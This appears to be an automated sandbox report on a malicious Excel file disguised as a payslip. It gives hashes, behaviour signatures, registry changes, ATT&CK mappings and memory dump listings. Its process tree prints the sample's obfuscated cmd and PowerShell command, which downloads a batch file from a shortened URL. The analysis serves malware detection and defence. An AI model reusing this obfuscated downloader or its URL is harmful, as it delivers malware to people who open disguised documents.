e7037dbffd138eb3cb17336a3b50aa9d82613125ce7d66dc7a125f09198e3a82

General

Target

PaySlip140121.xls
Size

228KB
MD5

45ce32bf7aa558411aafeb109f0d6e08
SHA1

41b37cc0c3eedb319846fc2a1a6f90b5bcbf16a8
SHA256

e7037dbffd138eb3cb17336a3b50aa9d82613125ce7d66dc7a125f09198e3a82
SHA512

c3ed5c81264f948854f4f40e81f2ffc6479e056bc9486c14f954daec8e23b1e0fd6c5ed0a3f830724f2585d90b9da6b86c11b409f2ba441516be7869ad5e794e

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cutt.ly/fjYtydH

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1956	1100	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

6 1736 powershell.exe
8 1736 powershell.exe
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
6	1736	powershell.exe
8	1736	powershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1100 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1736 powershell.exe
1736 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1736 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

1100 EXCEL.EXE
1100 EXCEL.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1100 EXCEL.EXE
1100 EXCEL.EXE
1100 EXCEL.EXE

pid	process
1100	EXCEL.EXE

pid	process
1736	powershell.exe
1736	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1736	powershell.exe

pid	process
1100	EXCEL.EXE
1100	EXCEL.EXE

pid	process
1100	EXCEL.EXE
1100	EXCEL.EXE
1100	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 1100 wrote to memory of 1956	1100	EXCEL.EXE	cmd.exe
PID 1100 wrote to memory of 1956	1100	EXCEL.EXE	cmd.exe
PID 1100 wrote to memory of 1956	1100	EXCEL.EXE	cmd.exe
PID 1100 wrote to memory of 1956	1100	EXCEL.EXE	cmd.exe
PID 1956 wrote to memory of 1736	1956	cmd.exe	powershell.exe
PID 1956 wrote to memory of 1736	1956	cmd.exe	powershell.exe
PID 1956 wrote to memory of 1736	1956	cmd.exe	powershell.exe
PID 1956 wrote to memory of 1736	1956	cmd.exe	powershell.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\PaySlip140121.xls
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1100

C:\Windows\SysWOW64\cmd.exe
cmd /c po^wer^she^l^l -w 1 (nEw-oB`jecT Net.WebCL`I`eNT).('Down'+'loadFile').Invoke('https://cutt.ly/fjYtydH','a.bat')
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1956

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -w 1 (nEw-oB`jecT Net.WebCL`I`eNT).('Down'+'loadFile').Invoke('https://cutt.ly/fjYtydH','a.bat')
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1736

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/1100-2-0x000000002F4D1000-0x000000002F4D4000-memory.dmp

Filesize
12KB

Download
memory/1100-3-0x0000000071581000-0x0000000071583000-memory.dmp

Filesize
8KB

Download
memory/1100-4-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1736-10-0x00000000046F0000-0x00000000046F1000-memory.dmp

Filesize
4KB

Download
memory/1736-12-0x0000000002412000-0x0000000002413000-memory.dmp

Filesize
4KB

Download
memory/1736-7-0x00000000765E1000-0x00000000765E3000-memory.dmp

Filesize
8KB

Download
memory/1736-8-0x000000006C4F0000-0x000000006CBDE000-memory.dmp

Filesize
6.9MB

Download
memory/1736-9-0x0000000002380000-0x0000000002381000-memory.dmp

Filesize
4KB

Download
memory/1736-32-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/1736-11-0x0000000002410000-0x0000000002411000-memory.dmp

Filesize
4KB

Download
memory/1736-6-0x0000000000000000-mapping.dmp

Download
memory/1736-13-0x0000000002550000-0x0000000002551000-memory.dmp

Filesize
4KB

Download
memory/1736-14-0x0000000005240000-0x0000000005241000-memory.dmp

Filesize
4KB

Download
memory/1736-17-0x00000000055F0000-0x00000000055F1000-memory.dmp

Filesize
4KB

Download
memory/1736-22-0x0000000005710000-0x0000000005711000-memory.dmp

Filesize
4KB

Download
memory/1736-23-0x00000000060F0000-0x00000000060F1000-memory.dmp

Filesize
4KB

Download
memory/1736-30-0x0000000006250000-0x0000000006251000-memory.dmp

Filesize
4KB

Download
memory/1736-31-0x0000000006310000-0x0000000006311000-memory.dmp

Filesize
4KB

Download
memory/1956-5-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads